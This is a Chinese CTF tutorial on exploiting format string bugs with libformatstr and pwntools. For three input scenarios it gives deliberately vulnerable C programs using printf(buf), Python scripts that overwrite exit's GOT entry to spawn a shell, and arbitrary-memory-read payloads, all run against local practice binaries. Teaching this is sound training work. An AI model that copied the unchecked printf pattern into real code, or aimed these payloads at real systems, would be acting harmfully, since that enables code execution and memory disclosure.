CTF中格式化字符串漏洞快速利用
格式化字符串是CTF比赛中很常见的一种pwn题,但是往往需要自己手工调试,如果可以快速利用该漏洞拿到一血,这无疑可以很大的鼓舞选手的信心,并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢,甚至对漏洞原理不甚了解怎么快速利用呢,本文将慢慢揭晓。
首先介绍利用该漏洞的工具:https://github.com/hellman/libformatstr ,可以直接pip install libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据,比如改写got表,下边分三种情况介绍:
直接输入所有输入信息
测试代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> void win() { system("/bin/sh"); } void main(int argc, char *argv[]) { char buf[103]; fgets(buf, 103, stdin); buf[strlen(buf)-1] = 0x0; printf(buf); exit(0); }
编译:gcc -Wno-format-security print_format.c -o print_format
利用思路可以直接将exit函数的got表修改为函数win的地址,这样调用exit时,函数win得到执行,获得shell。
首先计算偏移跟填充,这里举个例子:
比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x,输出:aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242
那么这里偏移是6,填充是3.
下边直接用libformatstr计算:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 elf=ELF('./print_test') exit_got=0x804a01c win_addr=0x80484fd bufsiz = 100 r = process('./print_test') r.sendline(make_pattern(bufsiz)) # send cyclic pattern to data = r.recv() # server's response offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding log.info("offset : " + str(offset)) log.info("padding: " + str(padding))
这样直接计算出偏移是6,填充是3
知道了偏移 填充,以及win函数地址,exit got表地址,可以直接利用:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_test') elf=ELF('./print_test') exit_got=0x804a01c win_addr=0x80484fd bufsiz = 100 r = process('./print_test') p = FormatStr() p[exit_got] = win_addr buf = p.payload(6,3) r.sendline(buf) r.interactive()
说明: p.payload(6,3) 直接输入偏移,填充
p[exit_got] = win_addr 因为是直接将win函数地址写入exit函数的got表,所以可以直接这样写。
输出有预打印字符
测试代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> void win() { system("/bin/sh"); } void main(int argc, char *argv[]) { char buf[103],out[200]; fgets(buf, 103, stdin); buf[strlen(buf)-1] = 0x0; sprintf(out,"hello,%s\n",buf); printf(out); exit(0); }
编译:gcc -Wno-format-security print_format.c -o print_format
可以看到这次代码跟上次的不同就是输出时先输出”hello,”,再输出用户输入的数据。
首先计算偏移填充:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 elf=ELF('./print_format') exit_got=0x804a01c win_addr=0x80484fd bufsiz = 100 r = process('./print_format') r.sendline(make_pattern(bufsiz)) # send cyclic pattern to data = <strong>r.recv()[6:] </strong> # server's response offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding log.info("offset : " + str(offset)) log.info("padding: " + str(padding))
可以看到偏移填充是8 3
此处计算计算偏移填充时,因为会预输出”hello,”,所以代码中使用r.recv()[6:] 计算。
知道了偏移填充,就可以直接利用,注意此处的预输出数据的影响,所以此时payload是p.payload(8,3,start_len=6)
完整代码:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_format') elf=ELF('./print_format') exit_got=0x804a01c win_addr=0x804852d bufsiz = 100 r = process('./print_format') p = FormatStr() p[exit_got] = win_addr buf = p.payload(8,3,start_len=6) r.sendline(buf) r.interactive()
输入数据有限制
程序对用户输入的数据有限制,只能输入特定格式的数据
测试代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> void win() { system("/bin/sh"); } void main(int argc, char *argv[]) { char buf[103],out[200]; fgets(buf, 103, stdin); buf[strlen(buf)-1] = 0x0; if (!memcmp(buf,"http://",7)) { printf(buf); } else { printf("input error!\n"); } exit(0); }
可以看到用户输入的数据必须以http://开头,首先计算偏移填充:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 elf=ELF('./print_format') exit_got=0x804a01c win_addr=0x80484fd bufsiz = 100 r = process('./print_format') r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to data = r.recv()[7:] # server's response offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding log.info("offset : " + str(offset)) log.info("padding: " + str(padding))
可以看到偏移是7,填充是1,注意此时先输入http://,在输入随机字符,计算偏移填充,收到的数据也要从第七个字符开始计算:
r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv()[7:]
知道了偏移填充,就可以直接利用,注意此处要先输入http:// , payload从第七位开始算(buf = p.payload(7,1,start_len=7) r.sendline("http://"+buf)
),完整利用代码如下:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_format') elf=ELF('./print_format') exit_got=0x804a024 win_addr=0x804855d bufsiz = 100 r = process('./print_format') p = FormatStr() p[exit_got] = win_addr buf = p.payload(7,1,start_len=7) r.sendline("http://"+buf) r.interactive()
最后介绍一下任意内存读取,当为第一种情况时,首先获取偏移 填充
然后:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_format') elf=ELF('./print_format') exit_got=0x804a01c fgets_got=0x0804a010 win_addr=0x804855d offset=6 padding=3 bufsiz = 100 r = process('./print_format') buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" #calculate address of exit r.sendline(buf) temp=r.recv()[padding+4:padding+4*2] print hex(u32(temp))
当遇到第二种情况时:
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_format') elf=ELF('./print_format') exit_got=0x804a01c fgets_got=0x0804a010 win_addr=0x804855d offset=8 padding=3 pre_len=6 #预打印字符长度 bufsiz = 100 r = process('./print_format') buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" r.sendline(buf) temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2] print hex(u32(temp))
可以看到只是recv处理数据时,要将预打印字符长度算进去。
当为第三种情况时,
from libformatstr import * from pwn import * from binascii import * context.log_level = 'debug' bufsiz = 100 #r = process('./print_format') elf=ELF('./print_format') exit_got=0x804a024 fgets_got=0x0804a010 win_addr=0x804855d offset=7 padding=1 pre_len=7 bufsiz = 100 r = process('./print_format') buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" r.sendline("http://"+buf) temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2] print temp print hex(u32(temp))
可以看到输入输出都要将限制字符计算进去。
参考资料: